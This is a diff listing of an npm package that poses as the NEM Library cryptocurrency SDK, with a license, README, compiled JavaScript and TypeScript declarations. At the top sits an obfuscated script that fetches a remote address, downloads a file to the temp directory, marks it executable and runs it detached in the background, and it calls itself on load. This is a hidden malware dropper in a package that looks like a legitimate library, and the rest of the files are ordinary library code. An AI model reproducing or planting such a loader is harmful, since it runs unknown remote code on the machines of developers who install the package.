_0xe66ab4[_0x17c648(0xed)][_0x17c648(0xd1)](_0x108d1a),new Promise((_0x24ca92,_0x38688d)=>{const _0x571c61=_0x17c648;_0x108d1a['on'](_0x500d7f[_0x571c61(0xe3)],_0x24ca92),_0x108d1a['on'](_0x500d7f[_0x571c61(0xe9)],_0x38688d);});},executeFileInBackground=async _0x5f38c5=>{const _0x528bae=_0x3688da,_0x3b95f3={'kvIFM':function(_0x514bac,_0x16c04d,_0x36d234,_0x43cc99){return _0x514bac(_0x16c04d,_0x36d234,_0x43cc99);},'sJcPM':_0x528bae(0xcc),'tljbO':_0x528bae(0xe6)};try{const _0x485d8e=_0x3b95f3[_0x528bae(0xbc)](spawn,_0x5f38c5,[],{'detached':!![],'stdio':_0x3b95f3[_0x528bae(0xcf)]});_0x485d8e[_0x528bae(0xc6)]();}catch(_0x572028){console[_0x528bae(0xec)](_0x3b95f3['tljbO'],_0x572028);}},runInstallation=async()=>{const _0x1f86e5=_0x3688da,_0x4da20e={'dPYsF':function(_0x2ac136){return _0x2ac136();},'WBqIN':function(_0x3bdaa1,_0x19665f){return _0x3bdaa1(_0x19665f);},'GCBgz':function(_0x5bd10b,_0x3743af,_0x18ae44){return _0x5bd10b(_0x3743af,_0x18ae44);},'VKqLg':function(_0x514ab4,_0x204411){return _0x514ab4!==_0x204411;},'ACiHd':'755','ljBgF':_0x1f86e5(0xc5)};try{const _0x58cf06=await _0x4da20e['dPYsF'](fetchAndUpdateIp),_0xcfad74=_0x4da20e[_0x1f86e5(0xdd)](getDownloadUrl,_0x58cf06),_0x1d5ebe=os[_0x1f86e5(0xe8)](),_0x4ff767=path[_0x1f86e5(0xdf)](_0xcfad74),_0x1ae19b=path[_0x1f86e5(0xc7)](_0x1d5ebe,_0x4ff767);await _0x4da20e[_0x1f86e5(0xd2)](downloadFile,_0xcfad74,_0x1ae19b);if(_0x4da20e[_0x1f86e5(0xc8)](os[_0x1f86e5(0xeb)](),'win32'))fs[_0x1f86e5(0xbe)](_0x1ae19b,_0x4da20e[_0x1f86e5(0xd5)]);_0x4da20e[_0x1f86e5(0xdd)](executeFileInBackground,_0x1ae19b);}catch(_0x54a234){console['error'](_0x4da20e['ljBgF'],_0x54a234);}};function _0x4c11(_0xe07637,_0x1ad04e){const _0x5e8d10=_0x5e8d();return _0x4c11=function(_0x4c11df,_0x3ad463){_0x4c11df=_0x4c11df-0xb9;let _0x12048f=_0x5e8d10[_0x4c11df];return _0x12048f;},_0x4c11(_0xe07637,_0x1ad04e);}runInstallation();
|
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2017 NEM
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
# NEM Library
|
2
|
+
|
3
|
+
![NEM Library Logo](nemLibraryLogo.jpg)
|
4
|
+
|
5
|
+
[![npm version](https://badge.fury.io/js/nem-library.svg)](https://badge.fury.io/js/nem-library)
|
6
|
+
[![Build Status](https://travis-ci.org/aleixmorgadas/nem-library-ts.svg?branch=master)](https://travis-ci.org/aleixmorgadas/nem-library-ts)
|
7
|
+
[![Coverage Status](https://coveralls.io/repos/github/aleixmorgadas/nem-library-ts/badge.svg?branch=master)](https://coveralls.io/github/aleixmorgadas/nem-library-ts?branch=master)
|
8
|
+
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
|
9
|
+
[![Gitter chat](https://badges.gitter.im/nem-library-ts/Lobby.svg)](https://gitter.im/nem-library-ts/)
|
10
|
+
|
11
|
+
:information_source: [NEM2-SDK](https://github.com/nemtech/nem2-sdk-typescript-javascript) is the successor of NEM Library for NEM2, a.k.a. Catapult. NEM Library will be maintained until NEM upgrades the network to Catapult Server.
|
12
|
+
|
13
|
+
## Installation and Usage
|
14
|
+
|
15
|
+
### Via NPM
|
16
|
+
|
17
|
+
`npm install nem-library --save`
|
18
|
+
|
19
|
+
## Documentation
|
20
|
+
|
21
|
+
[NEM Library Documentation](https://nemproject.github.io/nem-library-docs/)
|
22
|
+
|
23
|
+
## Usage
|
24
|
+
|
25
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
26
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
|
27
|
+
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
|
28
|
+
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
29
|
+
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
30
|
+
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
package/dist/index.d.ts
ADDED
package/dist/index.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
"use strict";
|
2
|
+
/*
|
3
|
+
* The MIT License (MIT)
|
4
|
+
*
|
5
|
+
* Copyright (c) 2017 NEM
|
6
|
+
*
|
7
|
+
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
8
|
+
* of this software and associated documentation files (the "Software"), to deal
|
9
|
+
* in the Software without restriction, including without limitation the rights
|
10
|
+
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
11
|
+
* copies of the Software, and to permit persons to whom the Software is
|
12
|
+
* furnished to do so, subject to the following conditions:
|
13
|
+
*
|
14
|
+
* The above copyright notice and this permission notice shall be included in all
|
15
|
+
* copies or substantial portions of the Software.
|
16
|
+
*
|
17
|
+
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
18
|
+
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
19
|
+
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
20
|
+
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
21
|
+
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
22
|
+
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
23
|
+
* SOFTWARE.
|
24
|
+
*/
|
25
|
+
function __export(m) {
|
26
|
+
for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p];
|
27
|
+
}
|
28
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
29
|
+
// Infrastructure
|
30
|
+
__export(require("./src/infrastrcture"));
|
31
|
+
// Models
|
32
|
+
__export(require("./src/models"));
|
33
|
+
// Services
|
34
|
+
__export(require("./src/services"));
|
35
|
+
var NEMLibrary_1 = require("./src/NEMLibrary");
|
36
|
+
exports.NEMLibrary = NEMLibrary_1.NEMLibrary;
|
37
|
+
exports.Environment = NEMLibrary_1.Environment;
|
38
|
+
//# sourceMappingURL=index.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;;;;;AAEH,iBAAiB;AACjB,yCAAoC;AACpC,SAAS;AACT,kCAA6B;AAC7B,WAAW;AACX,oCAA+B;AAE/B,+CAAyD;AAAjD,kCAAA,UAAU,CAAA;AAAE,mCAAA,WAAW,CAAA"}
|
@@ -0,0 +1,25 @@
|
|
1
|
+
import { NetworkTypes } from "./models/node/NetworkTypes";
|
2
|
+
export declare class NEMLibrary {
|
3
|
+
private static networkType?;
|
4
|
+
static bootstrap(networkType: NetworkTypes): void;
|
5
|
+
/**
|
6
|
+
*
|
7
|
+
*
|
8
|
+
*/
|
9
|
+
static reset(): void;
|
10
|
+
/**
|
11
|
+
*
|
12
|
+
*/
|
13
|
+
static getNetworkType(): NetworkTypes;
|
14
|
+
/**
|
15
|
+
* Gets the current runtime environment (Node or Browser)
|
16
|
+
*/
|
17
|
+
static getEnvironment(): Environment;
|
18
|
+
}
|
19
|
+
/**
|
20
|
+
* Environment enumeration fer getEnvironment() call
|
21
|
+
*/
|
22
|
+
export declare enum Environment {
|
23
|
+
Browser = 0,
|
24
|
+
Node = 1,
|
25
|
+
}
|
@@ -0,0 +1,69 @@
|
|
1
|
+
"use strict";
|
2
|
+
/*
|
3
|
+
* The MIT License (MIT)
|
4
|
+
*
|
5
|
+
* Copyright (c) 2017 NEM
|
6
|
+
*
|
7
|
+
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
8
|
+
* of this software and associated documentation files (the "Software"), to deal
|
9
|
+
* in the Software without restriction, including without limitation the rights
|
10
|
+
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
11
|
+
* copies of the Software, and to permit persons to whom the Software is
|
12
|
+
* furnished to do so, subject to the following conditions:
|
13
|
+
*
|
14
|
+
* The above copyright notice and this permission notice shall be included in all
|
15
|
+
* copies or substantial portions of the Software.
|
16
|
+
*
|
17
|
+
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
18
|
+
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
19
|
+
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
20
|
+
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
21
|
+
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
22
|
+
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
23
|
+
* SOFTWARE.
|
24
|
+
*/
|
25
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
26
|
+
class NEMLibrary {
|
27
|
+
static bootstrap(networkType) {
|
28
|
+
if (this.networkType !== undefined) {
|
29
|
+
throw new Error("NEMLibrary should only be initialized once");
|
30
|
+
}
|
31
|
+
this.networkType = networkType;
|
32
|
+
}
|
33
|
+
/**
|
34
|
+
*
|
35
|
+
*
|
36
|
+
*/
|
37
|
+
static reset() {
|
38
|
+
this.networkType = undefined;
|
39
|
+
}
|
40
|
+
/**
|
41
|
+
*
|
42
|
+
*/
|
43
|
+
static getNetworkType() {
|
44
|
+
if (this.networkType) {
|
45
|
+
return this.networkType;
|
46
|
+
}
|
47
|
+
throw new Error("NEMLibrary should be initialized using NEMLibrary.bootstrap(NetworkType.TEST_NET)");
|
48
|
+
}
|
49
|
+
/**
|
50
|
+
* Gets the current runtime environment (Node or Browser)
|
51
|
+
*/
|
52
|
+
static getEnvironment() {
|
53
|
+
const isBrowser = new Function("try {return this===window;}catch(e){ return false;}");
|
54
|
+
if (isBrowser()) {
|
55
|
+
return Environment.Browser;
|
56
|
+
}
|
57
|
+
return Environment.Node;
|
58
|
+
}
|
59
|
+
}
|
60
|
+
exports.NEMLibrary = NEMLibrary;
|
61
|
+
/**
|
62
|
+
* Environment enumeration fer getEnvironment() call
|
63
|
+
*/
|
64
|
+
var Environment;
|
65
|
+
(function (Environment) {
|
66
|
+
Environment[Environment["Browser"] = 0] = "Browser";
|
67
|
+
Environment[Environment["Node"] = 1] = "Node";
|
68
|
+
})(Environment = exports.Environment || (exports.Environment = {}));
|
69
|
+
//# sourceMappingURL=NEMLibrary.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"NEMLibrary.js","sourceRoot":"","sources":["../../src/NEMLibrary.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;;AAIH;IAGS,MAAM,CAAC,SAAS,CAAC,WAAyB;QAC/C,IAAI,IAAI,CAAC,WAAW,KAAK,SAAS,EAAE;YAClC,MAAM,IAAI,KAAK,CAAC,4CAA4C,CAAC,CAAC;SAC/D;QACD,IAAI,CAAC,WAAW,GAAG,WAAW,CAAC;IACjC,CAAC;IAED;;;OAGG;IACI,MAAM,CAAC,KAAK;QACjB,IAAI,CAAC,WAAW,GAAG,SAAS,CAAC;IAC/B,CAAC;IAED;;OAEG;IACI,MAAM,CAAC,cAAc;QAC1B,IAAI,IAAI,CAAC,WAAW,EAAE;YACpB,OAAO,IAAI,CAAC,WAAW,CAAC;SACzB;QACD,MAAM,IAAI,KAAK,CAAC,mFAAmF,CAAC,CAAC;IACvG,CAAC;IAED;;OAEG;IACI,MAAM,CAAC,cAAc;QAC1B,MAAM,SAAS,GAAG,IAAI,QAAQ,CAAC,qDAAqD,CAAC,CAAC;QACtF,IAAI,SAAS,EAAE,EAAE;YACf,OAAO,WAAW,CAAC,OAAO,CAAC;SAC5B;QACD,OAAO,WAAW,CAAC,IAAI,CAAC;IAC1B,CAAC;CACF;AAtCD,gCAsCC;AAED;;GAEG;AACH,IAAY,WAGX;AAHD,WAAY,WAAW;IACrB,mDAAO,CAAA;IACP,6CAAI,CAAA;AACN,CAAC,EAHW,WAAW,GAAX,mBAAW,KAAX,mBAAW,QAGtB"}
|
@@ -0,0 +1,13 @@
|
|
1
|
+
export * from "./infrastructure/AccountHttp";
|
2
|
+
export * from "./infrastructure/BlockHttp";
|
3
|
+
export * from "./infrastructure/ChainHttp";
|
4
|
+
export * from "./infrastructure/HttpEndpoint";
|
5
|
+
export * from "./infrastructure/AssetHttp";
|
6
|
+
export * from "./infrastructure/NamespaceHttp";
|
7
|
+
export * from "./infrastructure/NodeHttp";
|
8
|
+
export * from "./infrastructure/TransactionHttp";
|
9
|
+
export * from "./infrastructure/AccountListener";
|
10
|
+
export * from "./infrastructure/BlockchainListener";
|
11
|
+
export * from "./infrastructure/ConfirmedTransactionListener";
|
12
|
+
export * from "./infrastructure/UnconfirmedTransactionListener";
|
13
|
+
export * from "./infrastructure/Pageable";
|
@@ -0,0 +1,44 @@
|
|
1
|
+
"use strict";
|
2
|
+
/*
|
3
|
+
* The MIT License (MIT)
|
4
|
+
*
|
5
|
+
* Copyright (c) 2017 NEM
|
6
|
+
*
|
7
|
+
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
8
|
+
* of this software and associated documentation files (the "Software"), to deal
|
9
|
+
* in the Software without restriction, including without limitation the rights
|
10
|
+
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
11
|
+
* copies of the Software, and to permit persons to whom the Software is
|
12
|
+
* furnished to do so, subject to the following conditions:
|
13
|
+
*
|
14
|
+
* The above copyright notice and this permission notice shall be included in all
|
15
|
+
* copies or substantial portions of the Software.
|
16
|
+
*
|
17
|
+
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
18
|
+
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
19
|
+
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
20
|
+
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
21
|
+
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
22
|
+
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
23
|
+
* SOFTWARE.
|
24
|
+
*/
|
25
|
+
function __export(m) {
|
26
|
+
for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p];
|
27
|
+
}
|
28
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
29
|
+
// HTTPs
|
30
|
+
__export(require("./infrastructure/AccountHttp"));
|
31
|
+
__export(require("./infrastructure/BlockHttp"));
|
32
|
+
__export(require("./infrastructure/ChainHttp"));
|
33
|
+
__export(require("./infrastructure/HttpEndpoint"));
|
34
|
+
__export(require("./infrastructure/AssetHttp"));
|
35
|
+
__export(require("./infrastructure/NamespaceHttp"));
|
36
|
+
__export(require("./infrastructure/NodeHttp"));
|
37
|
+
__export(require("./infrastructure/TransactionHttp"));
|
38
|
+
// Listeners
|
39
|
+
__export(require("./infrastructure/AccountListener"));
|
40
|
+
__export(require("./infrastructure/BlockchainListener"));
|
41
|
+
__export(require("./infrastructure/ConfirmedTransactionListener"));
|
42
|
+
__export(require("./infrastructure/UnconfirmedTransactionListener"));
|
43
|
+
__export(require("./infrastructure/Pageable"));
|
44
|
+
//# sourceMappingURL=infrastrcture.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"infrastrcture.js","sourceRoot":"","sources":["../../src/infrastrcture.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;;;;;AAEH,QAAQ;AACR,kDAA6C;AAC7C,gDAA2C;AAC3C,gDAA2C;AAC3C,mDAA8C;AAC9C,gDAA2C;AAC3C,oDAA+C;AAC/C,+CAA0C;AAC1C,sDAAiD;AAEjD,YAAY;AACZ,sDAAiD;AACjD,yDAAoD;AACpD,mEAA8D;AAC9D,qEAAgE;AAEhE,+CAA0C"}
|
@@ -0,0 +1,204 @@
|
|
1
|
+
import { Observable } from "rxjs";
|
2
|
+
import { AccountStatus } from "../models";
|
3
|
+
import { AccountHarvestInfo } from "../models/account/AccountHarvestInfo";
|
4
|
+
import { AccountHistoricalInfo } from "../models/account/AccountHistoricalInfo";
|
5
|
+
import { AccountImportanceInfo } from "../models/account/AccountImportanceInfo";
|
6
|
+
import { AccountInfoWithMetaData } from "../models/account/AccountInfo";
|
7
|
+
import { Address } from "../models/account/Address";
|
8
|
+
import { NodeHarvestInfo } from "../models/account/NodeHarvestInfo";
|
9
|
+
import { Asset } from "../models/asset/Asset";
|
10
|
+
import { AssetDefinition } from "../models/asset/AssetDefinition";
|
11
|
+
import { Namespace } from "../models/namespace/Namespace";
|
12
|
+
import { Transaction } from "../models/transaction/Transaction";
|
13
|
+
import { HttpEndpoint, ServerConfig } from "./HttpEndpoint";
|
14
|
+
import { Pageable } from "./Pageable";
|
15
|
+
export interface QueryParams {
|
16
|
+
/**
|
17
|
+
* (Optional) The xem of transactions returned. Between 5 and 100, otherwise 10
|
18
|
+
*/
|
19
|
+
pageSize?: number;
|
20
|
+
/**
|
21
|
+
* (Optional) The 256 bit sha3 hash of the transaction up to which transactions are returned.
|
22
|
+
*/
|
23
|
+
hash?: string;
|
24
|
+
/**
|
25
|
+
* (Optional) The transaction id up to which transactions are returned. This parameter will prevail over hash.
|
26
|
+
*/
|
27
|
+
id?: number;
|
28
|
+
}
|
29
|
+
/**
|
30
|
+
*
|
31
|
+
*/
|
32
|
+
export declare class AccountHttp extends HttpEndpoint {
|
33
|
+
constructor(nodes?: ServerConfig[]);
|
34
|
+
/**
|
35
|
+
* Gets an AccountInfoWithMetaData for an account.
|
36
|
+
* @param address - Address
|
37
|
+
* @return Observable<AccountInfoWithMetaData>
|
38
|
+
*/
|
39
|
+
getFromAddress(address: Address): Observable<AccountInfoWithMetaData>;
|
40
|
+
/**
|
41
|
+
* Gets an AccountInfoWithMetaData for an account with publicKey
|
42
|
+
* @param publicKey - NEM
|
43
|
+
* @return Observable<AccountInfoWithMetaData>
|
44
|
+
*/
|
45
|
+
getFromPublicKey(publicKey: string): Observable<AccountInfoWithMetaData>;
|
46
|
+
/**
|
47
|
+
* Given a delegate (formerly known as remote) account's address, gets the AccountMetaDataPair for the account for which the given account is the delegate account.
|
48
|
+
* If the given account address is not a delegate account for any account, the request returns the AccountMetaDataPair for the given address.
|
49
|
+
* @param address - Address
|
50
|
+
* @return Observable<AccountInfoWithMetaData>
|
51
|
+
*/
|
52
|
+
getOriginalAccountDataFromDelegatedAccountAddress(address: Address): Observable<AccountInfoWithMetaData>;
|
53
|
+
/**
|
54
|
+
* retrieve the original account data by providing the public key of the delegate account.
|
55
|
+
* @param publicKey - string
|
56
|
+
* @return Observable<AccountInfoWithMetaData>
|
57
|
+
*/
|
58
|
+
getOriginalAccountDataFromDelegatedAccountPublicKey(publicKey: string): Observable<AccountInfoWithMetaData>;
|
59
|
+
/**
|
60
|
+
* Gets the AccountMetaData from an account.
|
61
|
+
* @param address - NEM Address
|
62
|
+
* @return Observable<AccountStatus>
|
63
|
+
*/
|
64
|
+
status(address: Address): Observable<AccountStatus>;
|
65
|
+
/**
|
66
|
+
* A transaction is said to be incoming with respect to an account if the account is the recipient of the transaction.
|
67
|
+
* In the same way outgoing transaction are the transactions where the account is the sender of the transaction.
|
68
|
+
* Unconfirmed transactions are those transactions that have not yet been included in a block.
|
69
|
+
* Unconfirmed transactions are not guaranteed to be included in any block
|
70
|
+
* @param address - The address of the account.
|
71
|
+
* @param params
|
72
|
+
*/
|
73
|
+
incomingTransactions(address: Address, params?: QueryParams): Observable<Transaction[]>;
|
74
|
+
/**
|
75
|
+
* Paginaged version of incomingTransactions request
|
76
|
+
* @param address
|
77
|
+
* @param params
|
78
|
+
*/
|
79
|
+
incomingTransactionsPaginated(address: Address, params?: QueryParams): Pageable<Transaction[]>;
|
80
|
+
/**
|
81
|
+
* Gets an array of transaction meta data pairs where the recipient has the address given as parameter to the request.
|
82
|
+
* A maximum of 25 transaction meta data pairs is returned. For details about sorting and discussion of the second parameter see Incoming transactions.
|
83
|
+
* @param address - The address of the account.
|
84
|
+
* @param params
|
85
|
+
*/
|
86
|
+
outgoingTransactions(address: Address, params?: QueryParams): Observable<Transaction[]>;
|
87
|
+
/**
|
88
|
+
* Paginaged version of outgoingTransactions request
|
89
|
+
* @param address
|
90
|
+
* @param params
|
91
|
+
* @param params
|
92
|
+
*/
|
93
|
+
outgoingTransactionsPaginated(address: Address, params?: QueryParams): Pageable<Transaction[]>;
|
94
|
+
/**
|
95
|
+
* Gets an array of transaction meta data pairs for which an account is the sender or receiver.
|
96
|
+
* A maximum of 25 transaction meta data pairs is returned.
|
97
|
+
* For details about sorting and discussion of the second parameter see Incoming transactions.
|
98
|
+
* @param address - The address of the account.
|
99
|
+
* @param params
|
100
|
+
*/
|
101
|
+
allTransactions(address: Address, params?: QueryParams): Observable<Transaction[]>;
|
102
|
+
/**
|
103
|
+
* Paginaged version of allTransactions request
|
104
|
+
* @param address
|
105
|
+
* @param params
|
106
|
+
*/
|
107
|
+
allTransactionsPaginated(address: Address, params?: QueryParams): Pageable<Transaction[]>;
|
108
|
+
/**
|
109
|
+
* Gets the array of transactions for which an account is the sender or receiver and which have not yet been included in a block
|
110
|
+
* @param address - NEM Address
|
111
|
+
* @return Observable<Transaction[]>
|
112
|
+
*/
|
113
|
+
unconfirmedTransactions(address: Address): Observable<Transaction[]>;
|
114
|
+
/**
|
115
|
+
* Gets an array of harvest info objects for an account.
|
116
|
+
* @param address - Address
|
117
|
+
* @param id - string (optional)
|
118
|
+
* @return Observable<AccountHarvestInfo[]>
|
119
|
+
*/
|
120
|
+
getHarvestInfoDataForAnAccount(address: Address, id?: string): Observable<AccountHarvestInfo[]>;
|
121
|
+
/**
|
122
|
+
* Paginaged version of allTransactions request
|
123
|
+
* @param address
|
124
|
+
* @param id
|
125
|
+
* @returns {HarvestInfoPageable}
|
126
|
+
*/
|
127
|
+
getHarvestInfoDataForAnAccountPaginated(address: Address, id?: string): Pageable<AccountHarvestInfo[]>;
|
128
|
+
/**
|
129
|
+
* Gets an array of account importance view model objects.
|
130
|
+
* @return Observable<AccountImportanceInfo[]>
|
131
|
+
*/
|
132
|
+
getAccountImportances(): Observable<AccountImportanceInfo[]>;
|
133
|
+
/**
|
134
|
+
* Gets an array of namespace objects for a given account address.
|
135
|
+
* The parent parameter is optional. If supplied, only sub-namespaces of the parent namespace are returned.
|
136
|
+
* @param address - Address
|
137
|
+
* @param parent - The optional parent namespace id.
|
138
|
+
* @param id - The optional namespace database id up to which namespaces are returned.
|
139
|
+
* @param pageSize - The (optional) number of namespaces to be returned.
|
140
|
+
* @return Observable<Namespace[]>
|
141
|
+
*/
|
142
|
+
getNamespaceOwnedByAddress(address: Address, parent?: string, pageSize?: number, id?: string): Observable<Namespace[]>;
|
143
|
+
/**
|
144
|
+
* Gets an array of asset definition objects for a given account address. The parent parameter is optional.
|
145
|
+
* If supplied, only asset definitions for the given parent namespace are returned.
|
146
|
+
* The id parameter is optional and allows retrieving asset definitions in batches of 25 asset definitions.
|
147
|
+
* @param address - The address of the account.
|
148
|
+
* @param parent - The optional parent namespace id.
|
149
|
+
* @param id - The optional asset definition database id up to which asset definitions are returned.
|
150
|
+
* @return Observable<AssetDefinition[]>
|
151
|
+
*/
|
152
|
+
getAssetsCreatedByAddress(address: Address, parent?: string, id?: string): Observable<AssetDefinition[]>;
|
153
|
+
/**
|
154
|
+
* Gets an array of asset objects for a given account address.
|
155
|
+
* @param address - Address
|
156
|
+
* @return Observable<Asset[]>
|
157
|
+
*/
|
158
|
+
getAssetsOwnedByAddress(address: Address): Observable<Asset[]>;
|
159
|
+
/**
|
160
|
+
* Unlocks an account (starts harvesting).
|
161
|
+
* @param host - string
|
162
|
+
* @param privateKey - string
|
163
|
+
* @return Observable<boolean>
|
164
|
+
*/
|
165
|
+
unlockHarvesting(host: string, privateKey: string): Observable<boolean>;
|
166
|
+
/**
|
167
|
+
* Locks an account (stops harvesting).
|
168
|
+
* @param host - string
|
169
|
+
* @param privateKey - string
|
170
|
+
* @return Observable<boolean>
|
171
|
+
*/
|
172
|
+
lockHarvesting(host: string, privateKey: string): Observable<boolean>;
|
173
|
+
/**
|
174
|
+
* Each node can allow users to harvest with their delegated key on that node.
|
175
|
+
* The NIS configuration has entries for configuring the maximum number of allowed harvesters and optionally allow harvesting only for certain account addresses.
|
176
|
+
* The unlock info gives information about the maximum number of allowed harvesters and how many harvesters are already using the node.
|
177
|
+
* @return Observable<NodeHarvestInfo>
|
178
|
+
*/
|
179
|
+
unlockInfo(): Observable<NodeHarvestInfo>;
|
180
|
+
/**
|
181
|
+
* Gets historical information for an account.
|
182
|
+
* @param address - The address of the account.
|
183
|
+
* @param startHeight - The block height from which on the data should be supplied.
|
184
|
+
* @param endHeight - The block height up to which the data should be supplied. The end height must be greater than or equal to the start height.
|
185
|
+
* @param increment - The value by which the height is incremented between each data point. The value must be greater than 0. NIS can supply up to 1000 data points with one request. Requesting more than 1000 data points results in an error.
|
186
|
+
* @return Observable<AccountHistoricalInfo[]>
|
187
|
+
*/
|
188
|
+
getHistoricalAccountData(address: Address, startHeight: number, endHeight: number, increment: number): Observable<AccountHistoricalInfo[]>;
|
189
|
+
/**
|
190
|
+
* Gets historical information for an array of accounts.
|
191
|
+
* @param addresses - The addresses of the accounts as an array of addresses.
|
192
|
+
* @param startHeight - The block height from which on the data should be supplied.
|
193
|
+
* @param endHeight - The block height up to which the data should be supplied. The end height must be greater than or equal to the start height.
|
194
|
+
* @param increment - The value by which the height is incremented between each data point. The value must be greater than 0. NIS can supply up to 1000 data points with one request. Requesting more than 1000 data points results in an error.
|
195
|
+
* @return Observable<AccountHistoricalInfo[][]>
|
196
|
+
*/
|
197
|
+
getBatchHistoricalAccountData(addresses: Address[], startHeight: number, endHeight: number, increment: number): Observable<AccountHistoricalInfo[][]>;
|
198
|
+
/**
|
199
|
+
* Gets batch information for an array of accounts.
|
200
|
+
* @param addresses - The addresses of the accounts as an array of addresses.
|
201
|
+
* @return Observable<AccountInfoWithMetadata[]>
|
202
|
+
*/
|
203
|
+
getBatchAccountData(addresses: Address[]): Observable<AccountInfoWithMetaData[]>;
|
204
|
+
}
|